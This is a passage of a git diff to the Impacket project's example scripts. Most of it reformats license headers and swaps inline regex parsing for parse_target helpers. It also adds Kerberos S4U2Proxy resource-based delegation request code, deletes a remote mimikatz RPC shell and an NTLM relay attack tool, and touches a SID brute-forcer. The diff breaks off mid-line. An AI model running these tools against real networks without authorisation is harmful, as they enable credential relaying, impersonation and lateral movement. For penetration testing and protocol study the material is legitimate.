'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + + reqBody = seq_set(tgsReq, 'req-body') + + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain + + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) + + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) + + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + + cipherText = tgs['enc-part']['cipher'] + + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) + + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + + return r, cipher, sessionKey, newSessionKey + + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) @@ -94,15 +307,15 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, kdcHost): apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq,'ticket', ticket.to_asn1) + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() - clientName.from_asn1( decodedTGT, 'crealm', 'cname') + clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) @@ -113,7 +326,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, kdcHost): if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print(authenticator.prettyPrint()) - print ('\n') + print('\n') encodedAuthenticator = encoder.encode(authenticator) @@ -131,7 +344,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, kdcHost): tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 + tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue @@ -144,7 +357,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, kdcHost): # identified to the KDC by the user's name and realm. clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - S4UByteArray = struct.pack(' = # for example: @@ -27,10 +25,10 @@ # The SMB2 support works with a caveat. If two different # filenames at the same share are requested, the first # one will work and the second one will not work if the request -# is performed right away. This seems related to the +# is performed right away. This seems related to the # QUERY_DIRECTORY request, where we return the files available. # In the first try, we return the file that was asked to open. -# In the second try, the client will NOT ask for another +# In the second try, the client will NOT ask for another # QUERY_DIRECTORY but will use the cached one. This time the new file # is not there, so the client assumes it doesn't exist. # After a few seconds, looks like the client cache is cleared and @@ -39,13 +37,17 @@ # # SMB1 seems to be working fine on that scenario. # -# ToDo: -# [ ] A lot of testing needed under different OSes. +# Author: +# Alberto Solino (@agsolino) +# Original idea by @mubix +# +# ToDo: +# [ ] A lot of testing needed under different OSes. # I'm still not sure how reliable this approach is. # [ ] Add support for other SMB read commands. Right now just # covering SMB_COM_NT_CREATE_ANDX -# [ ] Disable write request, now if the client tries to copy -# a file back to us, it will overwrite the files we're +# [ ] Disable write request, now if the client tries to copy +# a file back to us, it will overwrite the files we're # hosting. *CAREFUL!!!* # diff --git a/examples/kintercept.py b/examples/kintercept.py index 33fdd76eca..df5eb4f4f4 100755 --- a/examples/kintercept.py +++ b/examples/kintercept.py @@ -1,4 +1,15 @@ #!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# Copyright (c) 2017 @MrAnde7son +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Copyright and licensing note from kintercept.py: +# # MIT Licensed # Copyright (c) 2019 Isaac Boukris # @@ -13,7 +24,7 @@ # packet will be changed to the name specified in the handler's argument. # # Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr - +# import struct, socket, argparse, asyncore from binascii import crc32 from pyasn1.codec.der import decoder, encoder diff --git a/examples/lookupsid.py b/examples/lookupsid.py index 4fe6cbaca4..48b8017163 100755 --- a/examples/lookupsid.py +++ b/examples/lookupsid.py @@ -1,17 +1,22 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# DCE/RPC lookup sid brute forcer example +# Description: +# DCE/RPC lookup sid brute forcer example # # Author: -# Alberto Solino (@agsolino) +# Alberto Solino (@agsolino) # # Reference for: -# DCE/RPC [MS-LSAT] +# DCE/RPC [MS-LSAT] +# + from __future__ import division from __future__ import print_function import sys @@ -20,6 +25,7 @@ import codecs from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket import version from impacket.dcerpc.v5 import transport, lsat, lsad from impacket.dcerpc.v5.samr import SID_NAME_USE @@ -172,15 +178,7 @@ def __bruteForce(self, rpctransport, maxRid): # Init the example's logger theme logger.init(options.ts) - import re - - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] + domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' diff --git a/examples/mimikatz.py b/examples/mimikatz.py deleted file mode 100755 index b74fe6be7e..0000000000 --- a/examples/mimikatz.py +++ /dev/null @@ -1,255 +0,0 @@ -#!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi -# -# Author: -# Alberto Solino (@agsolino) -# -# Reference for: -# SMB DCE/RPC -# -from __future__ import division -from __future__ import print_function -import argparse -import cmd -import logging -import os -import sys - -from impacket import version -from impacket.dcerpc.v5 import epm, mimilib -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE -from impacket.dcerpc.v5.transport import DCERPCTransportFactory -from impacket.examples import logger - -try: - from Cryptodome.Cipher import ARC4 -except Exception: - logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex") - logging.critical("See https://pypi.org/project/pycryptodomex/") - -# If you wanna have readline like functionality in Windows, install pyreadline -try: - import pyreadline as readline -except ImportError: - import readline - -class MimikatzShell(cmd.Cmd): - def __init__(self, dce): - cmd.Cmd.__init__(self) - self.shell = None - - self.prompt = 'mimikatz # ' - self.tid = None - self.intro = '' \ - ' .#####. mimikatz RPC interface\n'\ - ' .## ^ ##. "A La Vie, A L\' Amour "\n'\ - ' ## / \ ## /* * *\n'\ - ' ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n'\ - ' \'## v ##\' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n'\ - ' \'#####\' Impacket client by Alberto Solino (@agsolino) * * */\n\n'\ - 'Type help for list of commands' - self.pwd = '' - self.share = None - self.loggedIn = True - self.last_output = None - - self.dce = dce - - dh = mimilib.MimiDiffeH() - blob = mimilib.PUBLICKEYBLOB() - blob['y'] = dh.genPublicKey()[::-1] - publicKey = mimilib.MIMI_PUBLICKEY() - publicKey['sessionType'] = mimilib.CALG_RC4 - publicKey['cbPublicKey'] = 144 - publicKey['pbPublicKey'] = blob.getData() - resp = mimilib.hMimiBind(self.dce, publicKey) - blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey'])) - - self.key = dh.getSharedSecret(blob['y'][::-1])[-16:][::-1] - self.pHandle = resp['phMimi'] - - def emptyline(self): - pass - - def precmd(self,line): - # switch to unicode - #return line.encode('utf-8') - return line - - def default(self, line): - if line.startswith('*'): - line = line[1:] - command = (line.strip('\n')+'\x00').encode('utf-16le') - command = ARC4.new(self.key).encrypt(command) - resp = mimilib.hMimiCommand(self.dce, self.pHandle, command) - cipherText = b''.join(resp['encResult']) - cipher = ARC4.new(self.key) - print(cipher.decrypt(cipherText).decode('utf-16le')) - - def onecmd(self,s): - retVal = False - try: - retVal = cmd.Cmd.onecmd(self,s) - except Exception as e: - logging.debug("Exception:", exc_info=True) - logging.error(e) - - return retVal - - def do_exit(self,line): - if self.shell is not None: - self.shell.close() - return True - - def do_shell(self, line): - output = os.popen(line).read() - print(output) - self.last_output = output - - def do_help(self,line): - self.default('::') - -def main(): - # Init the example's logger theme - logger.init() - print(version.BANNER) - parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") - - parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') - parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - - group = parser.add_argument_group('authentication') - - group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials ' - 'cannot be found, it will use the ones specified in the command ' - 'line') - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - - group = parser.add_argument_group('connection') - - group.add_argument('-dc-ip', action='store', metavar="ip address", - help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' - 'the target parameter') - group.add_argument('-target-ip', action='store', metavar="ip address", - help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' - 'This is useful when target is the NetBIOS name and you cannot resolve it') - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - - options = parser.parse_args() - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - - import re - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] - - if options.target_ip is None: - options.target_ip = address - - if domain is None: - domain = '' - - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass - password = getpass("Password:") - - if options.aesKey is not None: - options.k = True - - if options.hashes is not None: - lmhash, nthash = options.hashes.split(':') - else: - lmhash = '' - nthash = '' - - bound = False - - try: - if username != '': - try: - # Let's try to do everything through SMB. If we'e lucky it might get everything encrypted - rpctransport = DCERPCTransportFactory(r'ncacn_np:%s[\pipe\epmapper]'%address) - rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey) - dce = rpctransport.get_dce_rpc() - if options.k: - rpctransport.set_kerberos(True, options.dc_ip) - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.connect() - # Give me the endpoint please! - stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_np', dce=dce) - - # Thanks, let's now use the same SMB Connection to bind to mimi - rpctransport2 = DCERPCTransportFactory(stringBinding) - rpctransport2.set_smb_connection(rpctransport.get_smb_connection()) - dce = rpctransport2.get_dce_rpc() - if options.k: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.connect() - dce.bind(mimilib.MSRPC_UUID_MIMIKATZ) - bound = True - except Exception as e: - if str(e).find('ept_s_not_registered') >=0: - # Let's try ncacn_ip_tcp - stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp') - else: - raise - - else: - stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp') - - if bound is False: - rpctransport = DCERPCTransportFactory(stringBinding) - rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey) - dce = rpctransport.get_dce_rpc() - if options.k is True: - rpctransport.set_kerberos(True, options.dc_ip) - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - rpctransport.set_credentials(username, password, domain, lmhash, nthash) - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.connect() - dce.bind(mimilib.MSRPC_UUID_MIMIKATZ) - - shell = MimikatzShell(dce) - - if options.file is not None: - logging.info("Executing commands from %s" % options.file.name) - for line in options.file.readlines(): - if line[0] != '#': - print("# %s" % line, end=' ') - shell.onecmd(line) - else: - print(line, end=' ') - else: - shell.cmdloop() - except Exception as e: - logging.debug("Exception:", exc_info=True) - logging.error(str(e)) - -if __name__ == "__main__": - main() diff --git a/examples/mqtt_check.py b/examples/mqtt_check.py index f3fdf7ed10..e561a1f369 100755 --- a/examples/mqtt_check.py +++ b/examples/mqtt_check.py @@ -1,30 +1,32 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: -# Simple MQTT example aimed at playing with different login options. Can be converted into a account/password -# brute forcer quite easily. +# Simple MQTT example aimed at playing with different login options. Can be converted into a account/password +# brute forcer quite easily. # -# Reference for: -# MQTT and Structure +# Author: +# Alberto Solino (@agsolino) # +# Reference for: +# MQTT and Structure # from __future__ import print_function import argparse import logging -import re import sys from impacket import version from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection class MQTT_LOGIN: @@ -75,13 +77,7 @@ def run(self): else: logging.getLogger().setLevel(logging.INFO) - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] + domain, username, password, address = parse_target(options.target) check_mqtt = MQTT_LOGIN(username, password, address, options) try: diff --git a/examples/mssqlclient.py b/examples/mssqlclient.py index 2629f98199..4029060281 100755 --- a/examples/mssqlclient.py +++ b/examples/mssqlclient.py @@ -1,17 +1,20 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: [MS-TDS] & [MC-SQLR] example. +# Description: +# [MS-TDS] & [MC-SQLR] example. # # Author: -# Alberto Solino (beto@coresecurity.com/@agsolino) +# Alberto Solino (@agsolino) # # Reference for: -# Structure +# Structure # from __future__ import division @@ -22,6 +25,7 @@ import logging from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket import version, tds if __name__ == '__main__': @@ -149,15 +153,7 @@ def do_exit(self, line): else: logging.getLogger().setLevel(logging.INFO) - import re - - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] + domain, username, password, address = parse_target(options.target) if domain is None: domain = '' diff --git a/examples/mssqlinstance.py b/examples/mssqlinstance.py index b82afb66ed..19f5ed7601 100755 --- a/examples/mssqlinstance.py +++ b/examples/mssqlinstance.py @@ -1,17 +1,20 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: [MC-SQLR] example. Retrieves the instances names from the target host +# Description: +# [MC-SQLR] example. Retrieves the instances names from the target host # # Author: -# Alberto Solino (@agsolino) +# Alberto Solino (@agsolino) # # Reference for: -# Structure +# Structure # from __future__ import division diff --git a/examples/netview.py b/examples/netview.py index f4b0231e94..62d049172e 100755 --- a/examples/netview.py +++ b/examples/netview.py @@ -1,34 +1,33 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# beto (@agsolino) -# # Description: # The idea of this script is to get a list of the sessions # opened at the remote hosts and keep track of them. # Coincidentally @mubix did something similar a few years # ago so credit goes to him (and the script's name ;)). # Check it out at https://github.com/mubix/netview -# The main difference with our approach is we keep +# The main difference with our approach is we keep # looping over the hosts found and keep track of who logged # in/out from remote servers. Plus, we keep the connections # with the target systems and just send a few DCE-RPC packets. # # One VERY IMPORTANT thing is: -# -# YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS -# NAMES. That's usually solved by setting your DNS to the +# +# YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS +# NAMES. That's usually solved by setting your DNS to the # domain DNS (and the right search domain). -# +# # Some examples of usage are: # # netview.py -target 192.168.1.10 beto -# +# # This will show the sessions on 192.168.1.10 and will authenticate as 'beto' # (password will be prompted) # @@ -40,12 +39,15 @@ # at all times. # # netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto -# +# # This will download all machines from FREEFLY.NET, authenticating using # Kerberos (that's why -dc-ip parameter is needed), and filter # the output based on the list of users specified in /tmp/users file. # +# Author: +# beto (@agsolino) # + from __future__ import division from __future__ import print_function import sys @@ -57,6 +59,7 @@ from time import sleep from impacket.examples import logger +from impacket.examples.utils import parse_credentials from impacket import version from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, wkst, srvs, samr @@ -69,6 +72,7 @@ myIP = None + def checkMachines(machines, stopEvent, singlePass=False): origLen = len(machines) deadMachines = machines @@ -482,10 +486,7 @@ def stop(self): else: logging.getLogger().setLevel(logging.INFO) - import re - - domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match(options.identity).groups( - '') + domain, username, password = parse_credentials(options.identity) try: if domain is None: diff --git a/examples/nmapAnswerMachine.py b/examples/nmapAnswerMachine.py index 104b847365..89ef751a06 100755 --- a/examples/nmapAnswerMachine.py +++ b/examples/nmapAnswerMachine.py @@ -1,4 +1,13 @@ #!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + import uncrc32 try: @@ -8,7 +17,7 @@ from impacket import ImpactPacket from impacket import ImpactDecoder -from impacket.ImpactPacket import TCPOption +from impacket.ImpactPacket import TCPOption, array_tobytes from impacket.examples import logger from impacket.examples import os_ident @@ -354,7 +363,7 @@ def isMine(self, in_onion): #in_onion[O_UDP].get_uh_dport() == self.port) def buildAnswer(self, in_onion): - cmd = in_onion[O_UDP_DATA].get_bytes().tostring() + cmd = array_tobytes(in_onion[O_UDP_DATA].get_bytes()) if cmd[:4] == 'cmd:': cmd = cmd[4:].strip() print("Got command: %r" % cmd) diff --git a/examples/ntfs-read.py b/examples/ntfs-read.py index 872800dd31..9a14779035 100755 --- a/examples/ntfs-read.py +++ b/examples/ntfs-read.py @@ -1,27 +1,30 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: Mini shell for browsing an NTFS volume +# Description: +# Mini shell for browsing an NTFS volume # # Author: -# Alberto Solino (@agsolino) -# +# Alberto Solino (@agsolino) # # Reference for: -# Structure. Quick and dirty implementation.. just for fun.. ;) +# Structure. Quick and dirty implementation.. just for fun.. ;) # -# NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project.. +# NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project.. # -# TODO -# [] Parse the attributes list attribute. It is unknown what would happen now if -# we face a highly fragmented file that will have many attributes that won't fit -# in the MFT Record -# [] Support compressed, encrypted and sparse files +# ToDo: +# [] Parse the attributes list attribute. It is unknown what would happen now if +# we face a highly fragmented file that will have many attributes that won't fit +# in the MFT Record. +# [] Support compressed, encrypted and sparse files # + from __future__ import division from __future__ import print_function import os diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py deleted file mode 100755 index 148bd30686..0000000000 --- a/examples/ntlmrelayx.py +++ /dev/null @@ -1,417 +0,0 @@ -#!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Generic NTLM Relay Module -# -# Authors: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) -# -# Description: -# This module performs the SMB Relay attacks originally discovered -# by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc). -# It receives a list of targets and for every connection received it -# will choose the next target and try to relay the credentials. Also, if -# specified, it will first to try authenticate against the client connecting -# to us. -# -# It is implemented by invoking a SMB and HTTP Server, hooking to a few -# functions and then using the specific protocol clients (e.g. SMB, LDAP). -# It is supposed to be working on any LM Compatibility level. The only way -# to stop this attack is to enforce on the server SPN checks and or signing. -# -# If the authentication against the targets succeeds, the client authentication -# succeeds as well and a valid connection is set against the local smbserver. -# It's up to the user to set up the local smbserver functionality. One option -# is to set up shares with whatever files you want to so the victim thinks it's -# connected to a valid SMB server. All that is done through the smb.conf file or -# programmatically. -# - -import argparse -import sys -import logging -import cmd -try: - from urllib.request import ProxyHandler, build_opener, Request -except ImportError: - from urllib2 import ProxyHandler, build_opener, Request - -import json -from threading import Thread - -from impacket import version -from impacket.examples import logger -from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer -from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig -from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher -from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS - -RELAY_SERVERS = [] - -class MiniShell(cmd.Cmd): - def __init__(self, relayConfig, threads): - cmd.Cmd.__init__(self) - - self.prompt = 'ntlmrelayx> ' - self.tid = None - self.relayConfig = relayConfig - self.intro = 'Type help for list of commands' - self.relayThreads = threads - self.serversRunning = True - - @staticmethod - def printTable(items, header): - colLen = [] - for i, col in enumerate(header): - rowMaxLen = max([len(row[i]) for row in items]) - colLen.append(max(rowMaxLen, len(col))) - - outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) - - # Print header - print(outputFormat.format(*header)) - print(' '.join(['-' * itemLen for itemLen in colLen])) - - # And now the rows - for row in items: - print(outputFormat.format(*row)) - - def emptyline(self): - pass - - def do_targets(self, line): - for url in self.relayConfig.target.originalTargets: - print(url.geturl()) - return - - def do_finished_attacks(self, line): - for url in self.relayConfig.target.finishedAttacks: - print (url.geturl()) - return - - def do_socks(self, line): - headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"] - url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays" - try: - proxy_handler = ProxyHandler({}) - opener = build_opener(proxy_handler) - response = Request(url) - r = opener.open(response) - result = r.read() - items = json.loads(result) - except Exception as e: - logging.error("ERROR: %s" % str(e)) - else: - if len(items) > 0: - self.printTable(items, header=headers) - else: - logging.info('No Relays Available!') - - def do_startservers(self, line): - if not self.serversRunning: - start_servers(options, self.relayThreads) - self.serversRunning = True - logging.info('Relay servers started') - else: - logging.error('Relay servers are already running!') - - def do_stopservers(self, line): - if self.serversRunning: - stop_servers(self.relayThreads) - self.serversRunning = False - logging.info('Relay servers stopped') - else: - logging.error('Relay servers are already stopped!') - - def do_exit(self, line): - print("Shutting down, please wait!") - return True - - def do_EOF(self, line): - return self.do_exit(line) - -def start_servers(options, threads): - for server in RELAY_SERVERS: - #Set up config - c = NTLMRelayxConfig() - c.setProtocolClients(PROTOCOL_CLIENTS) - c.setRunSocks(options.socks, socksServer) - c.setTargets(targetSystem) - c.setExeFile(options.e) - c.setCommand(options.c) - c.setEnumLocalAdmins(options.enum_local_admins) - c.setEncoding(codec) - c.setMode(mode) - c.setAttacks(PROTOCOL_ATTACKS) - c.setLootdir(options.lootdir) - c.setOutputFile(options.output_file) - c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid) - c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port) - c.setMSSQLOptions(options.query) - c.setInteractive(options.interactive) - c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max) - c.setIPv6(options.ipv6) - c.setWpadOptions(options.wpad_host, options.wpad_auth_num) - c.setSMB2Support(options.smb2support) - c.setSMBChallenge(options.ntlmchallenge) - c.setInterfaceIp(options.interface_ip) - c.setExploitOptions(options.remove_mic, options.remove_target) - c.setWebDAVOptions(options.serve_image) - - if server is HTTPRelayServer: - c.setListeningPort(options.http_port) - c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) - elif server is SMBRelayServer: - c.setListeningPort(options.smb_port) - elif server is WCFRelayServer: - c.setListeningPort(options.wcf_port) - - #If the redirect option is set, configure the HTTP server to redirect targets to SMB - if server is HTTPRelayServer and options.r is not None: - c.setMode('REDIRECT') - c.setRedirectHost(options.r) - - #Use target randomization if configured and the server is not SMB - if server is not SMBRelayServer and options.random: - c.setRandomTargets(True) - - s = server(c) - s.start() - threads.add(s) - return c - -def stop_servers(threads): - todelete = [] - for thread in threads: - if isinstance(thread, tuple(RELAY_SERVERS)): - thread.server.shutdown() - todelete.append(thread) - # Now remove threads from the set - for thread in todelete: - threads.remove(thread) - del thread - -# Process command-line arguments. -if __name__ == 